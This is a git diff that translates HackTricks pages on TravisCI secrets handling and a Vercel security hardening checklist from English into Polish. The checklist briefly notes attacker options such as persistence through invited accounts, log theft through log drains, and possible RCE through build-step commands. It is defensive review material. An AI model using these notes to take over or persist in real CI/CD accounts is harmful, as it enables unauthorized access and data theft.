+TravisCI bezpośrednio integruje się z różnymi platformami git, takimi jak Github, Bitbucket, Assembla i Gitlab. Poprosi użytkownika o nadanie TravisCI uprawnień do dostępu do repozytoriów, które chce zintegrować z TravisCI.
-For example, in Github it will ask for the following permissions:
+Na przykład, w Github poprosi o następujące uprawnienia:
-- `user:email` (read-only)
-- `read:org` (read-only)
-- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
+- `user:email` (tylko do odczytu)
+- `read:org` (tylko do odczytu)
+- `repo`: Przyznaje dostęp do odczytu i zapisu do kodu, statusów commitów, współpracowników i statusów wdrożeń dla publicznych i prywatnych repozytoriów oraz organizacji.
-## Encrypted Secrets
+## Szyfrowane sekrety
-### Environment Variables
+### Zmienne środowiskowe
-In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
+W TravisCI, jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą przechowywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane w zmiennej środowiskowej** maszyny wykonującej budowę.
.png>)
-It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
+Możliwe jest wskazanie **gałęzi, do których sekrety będą dostępne** (domyślnie wszystkie) oraz czy TravisCI **powinien ukryć ich wartość**, jeśli pojawi się **w logach** (domyślnie tak).
-### Custom Encrypted Secrets
+### Niestandardowe szyfrowane sekrety
-For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
-
-You can access the public key of one repo with:
+Dla **każdego repozytorium** TravisCI generuje **parę kluczy RSA**, **przechowuje** klucz **prywatny** i udostępnia **klucz publiczny** repozytorium tym, którzy mają **dostęp** do repozytorium.
+Możesz uzyskać dostęp do klucza publicznego jednego repozytorium za pomocą:
```
travis pubkey -r /
travis pubkey -r carlospolop/t-ci-test
```
-
-Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
+Następnie możesz użyć tej konfiguracji, aby **szyfrować sekrety i dodać je do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**.
.png>)
-Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
+Zauważ, że sekrety szyfrowane w ten sposób nie będą widoczne na liście w zmiennych środowiskowych ustawień.
-### Custom Encrypted Files
-
-Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
+### Niestandardowe Szyfrowane Pliki
+W ten sam sposób, co wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -52,7 +49,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
- openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
+openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
-
-Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
+Zauważ, że podczas szyfrowania pliku 2 zmienne środowiskowe będą skonfigurowane w repozytorium, takie jak:
.png>)
## TravisCI Enterprise
-Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
+Travis CI Enterprise to **wersja on-prem Travis CI**, którą możesz wdrożyć **w swojej infrastrukturze**. Pomyśl o wersji 'serwerowej' Travis CI. Używanie Travis CI pozwala na włączenie łatwego w użyciu systemu Continuous Integration/Continuous Deployment (CI/CD) w środowisku, które możesz skonfigurować i zabezpieczyć według własnych potrzeb.
-**Travis CI Enterprise consists of two major parts:**
+**Travis CI Enterprise składa się z dwóch głównych części:**
-1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
-2. TCI **Worker** and build environment images (also called OS images).
+1. Usługi TCI **(lub Usługi TCI Core)**, odpowiedzialne za integrację z systemami kontroli wersji, autoryzację budów, planowanie zadań budowlanych itp.
+2. TCI **Worker** oraz obrazy środowiska budowy (nazywane również obrazami systemu operacyjnego).
-**TCI Core services require the following:**
+**Usługi TCI Core wymagają następujących elementów:**
-1. A **PostgreSQL11** (or later) database.
-2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
-3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
+1. Bazy danych **PostgreSQL11** (lub nowszej).
+2. Infrastruktury do wdrożenia klastra Kubernetes; może być wdrożona w klastrze serwerów lub na pojedynczej maszynie, jeśli to konieczne.
+3. W zależności od twojej konfiguracji, możesz chcieć wdrożyć i skonfigurować niektóre z komponentów samodzielnie, np. RabbitMQ - zobacz [Konfiguracja Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) po więcej szczegółów.
-**TCI Worker requires the following:**
+**Worker TCI wymaga następujących elementów:**
-1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
-2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
+1. Infrastruktury, w której można wdrożyć obraz docker zawierający **Worker i powiązany obraz budowy**.
+2. Łączności z niektórymi komponentami Usług Core Travis CI - zobacz [Konfiguracja Workera](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) po więcej szczegółów.
-The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
+Liczba wdrożonych obrazów systemu operacyjnego TCI Worker i środowiska budowy określi całkowitą równoległą pojemność wdrożenia Travis CI Enterprise w twojej infrastrukturze.
.png>)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 16dc93da7..21b4d2f3f 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -2,440 +2,436 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
+W Vercel **Zespół** to pełne **środowisko**, które należy do klienta, a **projekt** to **aplikacja**.
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
+Aby przeprowadzić przegląd zabezpieczeń **Vercel**, musisz poprosić o użytkownika z **uprawnieniami roli Widok** lub przynajmniej **uprawnieniami widoku projektu** nad projektami, aby sprawdzić (w przypadku, gdy potrzebujesz tylko sprawdzić projekty, a nie konfigurację Zespołu).
-## Project Settings
+## Ustawienia projektu
-### General
+### Ogólne
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
+**Cel:** Zarządzanie podstawowymi ustawieniami projektu, takimi jak nazwa projektu, framework i konfiguracje budowy.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
- **Transfer**
- - **Misconfiguration:** Allows to transfer the project to another team
- - **Risk:** An attacker could steal the project
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the project
- - **Risk:** Delete the prject
+- **Błędna konfiguracja:** Umożliwia przeniesienie projektu do innego zespołu
+- **Ryzyko:** Atakujący może ukraść projekt
+- **Usuń projekt**
+- **Błędna konfiguracja:** Umożliwia usunięcie projektu
+- **Ryzyko:** Usunięcie projektu
---
-### Domains
+### Domeny
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
+**Cel:** Zarządzanie niestandardowymi domenami, ustawieniami DNS i konfiguracjami SSL.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **DNS Configuration Errors**
- - **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- - **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-- **SSL/TLS Certificate Management**
- - **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- - **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-- **DNSSEC Implementation**
- - **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- - **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-- **Environment used per domain**
- - **Misconfiguration:** Change the environment used by the domain in production.
- - **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
+- **Błędy konfiguracji DNS**
+- **Błędna konfiguracja:** Nieprawidłowe rekordy DNS (A, CNAME) wskazujące na złośliwe serwery.
+- **Ryzyko:** Przejęcie domeny, przechwytywanie ruchu i ataki phishingowe.
+- **Zarządzanie certyfikatami SSL/TLS**
+- **Błędna konfiguracja:** Używanie słabych lub wygasłych certyfikatów SSL/TLS.
+- **Ryzyko:** Wrażliwość na ataki typu man-in-the-middle (MITM), co narusza integralność i poufność danych.
+- **Implementacja DNSSEC**
+- **Błędna konfiguracja:** Nieaktywowanie DNSSEC lub nieprawidłowe ustawienia DNSSEC.
+- **Ryzyko:** Zwiększona podatność na ataki spoofingowe DNS i ataki na pamięć podręczną.
+- **Środowisko używane na domenę**
+- **Błędna konfiguracja:** Zmiana środowiska używanego przez domenę w produkcji.
+- **Ryzyko:** Ujawnienie potencjalnych sekretów lub funkcji, które nie powinny być dostępne w produkcji.
---
-### Environments
+### Środowiska
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
+**Cel:** Definiowanie różnych środowisk (Rozwój, Podgląd, Produkcja) z określonymi ustawieniami i zmiennymi.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Environment Isolation**
- - **Misconfiguration:** Sharing environment variables across environments.
- - **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-- **Access to Sensitive Environments**
- - **Misconfiguration:** Allowing broad access to production environments.
- - **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
+- **Izolacja środowiska**
+- **Błędna konfiguracja:** Udostępnianie zmiennych środowiskowych między środowiskami.
+- **Ryzyko:** Ujawnienie sekretów produkcyjnych w środowiskach rozwojowych lub podglądowych, zwiększając narażenie.
+- **Dostęp do wrażliwych środowisk**
+- **Błędna konfiguracja:** Umożliwienie szerokiego dostępu do środowisk produkcyjnych.
+- **Ryzyko:** Nieautoryzowane zmiany lub dostęp do aplikacji na żywo, co prowadzi do potencjalnych przestojów lub naruszeń danych.
---
-### Environment Variables
+### Zmienne środowiskowe
-**Purpose:** Manage environment-specific variables and secrets used by the application.
+**Cel:** Zarządzanie zmiennymi i sekretami specyficznymi dla środowiska używanymi przez aplikację.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-- **Shared Environment Variables**
- - **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Ujawnianie wrażliwych zmiennych**
+- **Błędna konfiguracja:** Prefiksowanie wrażliwych zmiennych `NEXT_PUBLIC_`, co czyni je dostępnymi po stronie klienta.
+- **Ryzyko:** Ujawnienie kluczy API, poświadczeń bazy danych lub innych wrażliwych danych publicznie, co prowadzi do naruszeń danych.
+- **Wrażliwe wyłączone**
+- **Błędna konfiguracja:** Jeśli wyłączone (domyślnie), możliwe jest odczytanie wartości wygenerowanych sekretów.
+- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
+- **Wspólne zmienne środowiskowe**
+- **Błędna konfiguracja:** To są zmienne środowiskowe ustawione na poziomie Zespołu i mogą również zawierać wrażliwe informacje.
+- **Ryzyko:** Zwiększone prawdopodobieństwo przypadkowego ujawnienia lub nieautoryzowanego dostępu do wrażliwych informacji.
---
### Git
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
+**Cel:** Konfiguracja integracji repozytoriów Git, ochrony gałęzi i wyzwalaczy wdrożeń.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Ignored Build Step (TODO)**
- - **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- - **Risk:** TBD
+- **Zignorowany krok budowy (TODO)**
+- **Błędna konfiguracja:** Wygląda na to, że ta opcja pozwala skonfigurować skrypt/komendy bash, które będą wykonywane, gdy nowy commit zostanie przesłany do Github, co może umożliwić RCE.
+- **Ryzyko:** TBD
---
-### Integrations
+### Integracje
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
+**Cel:** Łączenie usług i narzędzi zewnętrznych w celu zwiększenia funkcjonalności projektu.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Insecure Third-Party Integrations**
- - **Misconfiguration:** Integrating with untrusted or insecure third-party services.
- - **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-- **Over-Permissioned Integrations**
- - **Misconfiguration:** Granting excessive permissions to integrated services.
- - **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-- **Lack of Integration Monitoring**
- - **Misconfiguration:** Failing to monitor and audit third-party integrations.
- - **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
+- **Niebezpieczne integracje zewnętrzne**
+- **Błędna konfiguracja:** Integracja z nieufnymi lub niebezpiecznymi usługami zewnętrznymi.
+- **Ryzyko:** Wprowadzenie luk w zabezpieczeniach, wycieków danych lub tylnej furtki przez skompromitowane integracje.
+- **Nadmierne uprawnienia integracji**
+- **Błędna konfiguracja:** Przyznawanie nadmiernych uprawnień zintegrowanym usługom.
+- **Ryzyko:** Nieautoryzowany dostęp do zasobów projektu, manipulacja danymi lub zakłócenia usług.
+- **Brak monitorowania integracji**
+- **Błędna konfiguracja:** Nie monitorowanie i audytowanie integracji zewnętrznych.
+- **Ryzyko:** Opóźnione wykrywanie skompromitowanych integracji, zwiększając potencjalny wpływ naruszeń bezpieczeństwa.
---
-### Deployment Protection
+### Ochrona wdrożeń
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
+**Cel:** Zabezpieczenie wdrożeń poprzez różne mechanizmy ochrony, kontrolując, kto może uzyskać dostęp i wdrażać w twoich środowiskach.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-**Vercel Authentication**
+**Autoryzacja Vercel**
-- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
+- **Błędna konfiguracja:** Wyłączanie autoryzacji lub brak egzekwowania kontroli członków zespołu.
+- **Ryzyko:** Nieautoryzowani użytkownicy mogą uzyskać dostęp do wdrożeń, co prowadzi do naruszeń danych lub niewłaściwego użycia aplikacji.
-**Protection Bypass for Automation**
+**Obejście ochrony dla automatyzacji**
-- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
+- **Błędna konfiguracja:** Publiczne ujawnienie sekretu obejścia lub używanie słabych sekretów.
+- **Ryzyko:** Atakujący mogą obejść ochronę wdrożeń, uzyskując dostęp i manipulując chronionymi wdrożeniami.
-**Shareable Links**
+**Linki do udostępniania**
-- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
+- **Błędna konfiguracja:** Udostępnianie linków bez ograniczeń lub brak unieważnienia przestarzałych linków.
+- **Ryzyko:** Nieautoryzowany dostęp do chronionych wdrożeń, omijając autoryzację i ograniczenia IP.
-**OPTIONS Allowlist**
+**Opcje Allowlist**
-- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
+- **Błędna konfiguracja:** Umożliwienie zbyt szerokich ścieżek lub wrażliwych punktów końcowych.
+- **Ryzyko:** Atakujący mogą wykorzystać niechronione ścieżki do wykonywania nieautoryzowanych działań lub omijania kontroli bezpieczeństwa.
-**Password Protection**
+**Ochrona hasłem**
-- **Misconfiguration:** Using weak passwords or sharing them insecurely.
-- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Błędna konfiguracja:** Używanie słabych haseł lub ich niebezpieczne udostępnianie.
+- **Ryzyko:** Nieautoryzowany dostęp do wdrożeń, jeśli hasła zostaną odgadnięte lub wyciekły.
+- **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc.
-**Deployment Protection Exceptions**
+**Wyjątki w ochronie wdrożeń**
-- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
+- **Błędna konfiguracja:** Nieumyślne dodawanie domen produkcyjnych lub wrażliwych do listy wyjątków.
+- **Ryzyko:** Ujawnienie krytycznych wdrożeń publicznie, co prowadzi do wycieków danych lub nieautoryzowanego dostępu.
+- **Uwaga:** Dostępne w planie **Pro** jako część **Zaawansowanej Ochrony Wdrożeń** za dodatkowe 150 USD/miesiąc.
-**Trusted IPs**
+**Zaufane adresy IP**
-- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-- **Note:** Available on the **Enterprise** plan.
+- **Błędna konfiguracja:** Nieprawidłowe określenie adresów IP lub zakresów CIDR.
+- **Ryzyko:** Blokowanie legalnych użytkowników lub uzyskiwanie dostępu przez nieautoryzowane adresy IP.
+- **Uwaga:** Dostępne w planie **Enterprise**.
---
-### Functions
+### Funkcje
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
+**Cel:** Konfiguracja funkcji bezserwerowych, w tym ustawień czasu wykonywania, alokacji pamięci i polityk bezpieczeństwa.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Nothing**
+- **Nic**
---
-### Data Cache
+### Pamięć podręczna danych
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
+**Cel:** Zarządzanie strategiami i ustawieniami pamięci podręcznej w celu optymalizacji wydajności i kontroli przechowywania danych.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Purge Cache**
- - **Misconfiguration:** It allows to delete all the cache.
- - **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
+- **Opróżnij pamięć podręczną**
+- **Błędna konfiguracja:** Umożliwia usunięcie całej pamięci podręcznej.
+- **Ryzyko:** Nieautoryzowani użytkownicy usuwający pamięć podręczną prowadzący do potencjalnego DoS.
---
-### Cron Jobs
+### Zadania Cron
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
+**Cel:** Planowanie zautomatyzowanych zadań i skryptów do uruchamiania w określonych odstępach czasu.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Disable Cron Job**
- - **Misconfiguration:** It allows to disable cron jobs declared inside the code
- - **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
+- **Wyłącz zadanie Cron**
+- **Błędna konfiguracja:** Umożliwia wyłączenie zadań cron zadeklarowanych w kodzie.
+- **Ryzyko:** Potencjalne przerwanie usługi (w zależności od tego, do czego miały służyć zadania cron).
---
-### Log Drains
+### Odpływy logów
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
+**Cel:** Konfiguracja zewnętrznych usług logowania w celu rejestrowania i przechowywania logów aplikacji do monitorowania i audytowania.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- Nothing (managed from teams settings)
+- Nic (zarządzane z ustawień zespołu)
---
-### Security
+### Bezpieczeństwo
-**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
+**Cel:** Centralne miejsce dla różnych ustawień związanych z bezpieczeństwem wpływających na dostęp do projektu, ochronę źródła i inne.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-**Build Logs and Source Protection**
+**Logi budowy i ochrona źródła**
-- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
-- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
+- **Błędna konfiguracja:** Wyłączanie ochrony lub publiczne ujawnianie ścieżek `/logs` i `/src`.
+- **Ryzyko:** Nieautoryzowany dostęp do logów budowy i kodu źródłowego, co prowadzi do wycieków informacji i potencjalnego wykorzystania luk w zabezpieczeniach.
-**Git Fork Protection**
+**Ochrona forka Git**
-- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
-- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
+- **Błędna konfiguracja:** Umożliwienie nieautoryzowanych pull requestów bez odpowiednich przeglądów.
+- **Ryzyko:** Złośliwy kod może zostać scalony z bazą kodu, wprowadzając luki w zabezpieczeniach lub tylne furtki.
-**Secure Backend Access with OIDC Federation**
+**Bezpieczny dostęp do backendu z OIDC Federation**
-- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
-- **Risk:** Unauthorized access to backend services through flawed authentication flows.
+- **Błędna konfiguracja:** Nieprawidłowe skonfigurowanie parametrów OIDC lub używanie niebezpiecznych adresów URL wydawcy.
+- **Ryzyko:** Nieautoryzowany dostęp do usług backendowych przez wadliwe przepływy autoryzacji.
-**Deployment Retention Policy**
+**Polityka przechowywania wdrożeń**
-- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
-- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
+- **Błędna konfiguracja:** Ustawienie zbyt krótkich okresów przechowywania (utrata historii wdrożeń) lub zbyt długich (niepotrzebne przechowywanie danych).
+- **Ryzyko:** Niemożność wykonania rollbacków w razie potrzeby lub zwiększone ryzyko ujawnienia danych z starych wdrożeń.
-**Recently Deleted Deployments**
+**Ostatnio usunięte wdrożenia**
-- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
-- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
+- **Błędna konfiguracja:** Nie monitorowanie usuniętych wdrożeń lub poleganie wyłącznie na automatycznych usunięciach.
+- **Ryzyko:** Utrata krytycznej historii wdrożeń, co utrudnia audyty i rollbacki.
---
-### Advanced
+### Zaawansowane
-**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
+**Cel:** Dostęp do dodatkowych ustawień projektu w celu dostosowania konfiguracji i zwiększenia bezpieczeństwa.
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-**Directory Listing**
+**Lista katalogów**
-- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
-- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
+- **Błędna konfiguracja:** Włączenie listy katalogów pozwala użytkownikom na przeglądanie zawartości katalogu bez pliku indeksu.
+- **Ryzyko:** Ujawnienie wrażliwych plików, struktury aplikacji i potencjalnych punktów wejścia do ataków.
---
-## Project Firewall
+## Zapora projektu
-### Firewall
+### Zapora
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-**Enable Attack Challenge Mode**
+**Włącz tryb wyzwania ataku**
-- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
-- **Risk:** Potential user experience problems.
+- **Błędna konfiguracja:** Włączenie tego poprawia obronę aplikacji webowej przed DoS, ale kosztem użyteczności.
+- **Ryzyko:** Potencjalne problemy z doświadczeniem użytkownika.
-### Custom Rules & IP Blocking
+### Niestandardowe zasady i blokowanie IP
-- **Misconfiguration:** Allows to unblock/block traffic
-- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
+- **Błędna konfiguracja:** Umożliwia odblokowanie/zablokowanie ruchu.
+- **Ryzyko:** Potencjalny DoS umożliwiający złośliwy ruch lub blokujący ruch legalny.
---
-## Project Deployment
+## Wdrożenie projektu
-### Source
+### Źródło
-- **Misconfiguration:** Allows access to read the complete source code of the application
-- **Risk:** Potential exposure of sensitive information
+- **Błędna konfiguracja:** Umożliwia dostęp do odczytu pełnego kodu źródłowego aplikacji.
+- **Ryzyko:** Potencjalne ujawnienie wrażliwych informacji.
-### Skew Protection
+### Ochrona przed rozbieżnościami
-- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
-- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
+- **Błędna konfiguracja:** Ta ochrona zapewnia, że aplikacja klienta i serwera zawsze używają tej samej wersji, aby nie było rozbieżności, w których klient używa innej wersji niż serwer i dlatego się nie rozumieją.
+- **Ryzyko:** Wyłączenie tego (jeśli włączone) może spowodować problemy z DoS w nowych wdrożeniach w przyszłości.
---
-## Team Settings
+## Ustawienia zespołu
-### General
+### Ogólne
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
- **Transfer**
- - **Misconfiguration:** Allows to transfer all the projects to another team
- - **Risk:** An attacker could steal the projects
-- **Delete Project**
- - **Misconfiguration:** Allows to delete the team with all the projects
- - **Risk:** Delete the projects
+- **Błędna konfiguracja:** Umożliwia przeniesienie wszystkich projektów do innego zespołu.
+- **Ryzyko:** Atakujący może ukraść projekty.
+- **Usuń projekt**
+- **Błędna konfiguracja:** Umożliwia usunięcie zespołu ze wszystkimi projektami.
+- **Ryzyko:** Usunięcie projektów.
---
-### Billing
+### Rozliczenia
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Speed Insights Cost Limit**
- - **Misconfiguration:** An attacker could increase this number
- - **Risk:** Increased costs
+- **Limit kosztów Speed Insights**
+- **Błędna konfiguracja:** Atakujący może zwiększyć tę liczbę.
+- **Ryzyko:** Zwiększone koszty.
---
-### Members
+### Członkowie
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Add members**
- - **Misconfiguration:** An attacker could maintain persitence inviting an account he control
- - **Risk:** Attacker persistence
-- **Roles**
- - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- - **Risk**: Increate the exposure of the Vercel Team
+- **Dodaj członków**
+- **Błędna konfiguracja:** Atakujący może utrzymać trwałość, zapraszając konto, które kontroluje.
+- **Ryzyko:** Trwałość atakującego.
+- **Role**
+- **Błędna konfiguracja:** Przyznawanie zbyt wielu uprawnień osobom, które ich nie potrzebują, zwiększa ryzyko konfiguracji Vercel. Sprawdź wszystkie możliwe role w [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
+- **Ryzyko:** Zwiększenie narażenia Zespołu Vercel.
---
-### Access Groups
+### Grupy dostępu
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+**Grupa dostępu** w Vercel to zbiór projektów i członków zespołu z przypisanymi rolami, co umożliwia centralne i uproszczone zarządzanie dostępem w wielu projektach.
-**Potential Misconfigurations:**
+**Potencjalne błędne konfiguracje:**
-- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+- **Nadmierne uprawnienia członków:** Przypisywanie ról z większymi uprawnieniami niż to konieczne, co prowadzi do nieautoryzowanego dostępu lub działań.
+- **Nieprawidłowe przypisania ról:** Nieprawidłowe przypisanie ról, które nie odpowiadają obowiązkom członków zespołu, powodujące eskalację uprawnień.
+- **Brak segregacji projektów:** Nieoddzielanie wrażliwych projektów, co pozwala na szerszy dostęp niż zamierzono.
+- **Niewystarczające zarządzanie grupami:** Nieprzeglądanie ani nieaktualizowanie regularnie Grup Dostępu, co skutkuje przestarzałymi lub nieodpowiednimi uprawnieniami dostępu.
+- **Niekonsekwentne definicje ról:** Używanie niespójnych lub niejasnych definicji ról w różnych Grupach Dostępu, co prowadzi do zamieszania i luk w zabezpieczeniach.
---
-### Log Drains
+### Odpływy logów
-#### Security Configurations:
+#### Konfiguracje zabezpieczeń:
-- **Log Drains to third parties:**
- - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- - **Risk:** Partial persistence
+- **Odpływy logów do stron trzecich:**
+- **Błędna konfiguracja:** Atakujący może skonfigurować Odpływ logów, aby ukraść logi.
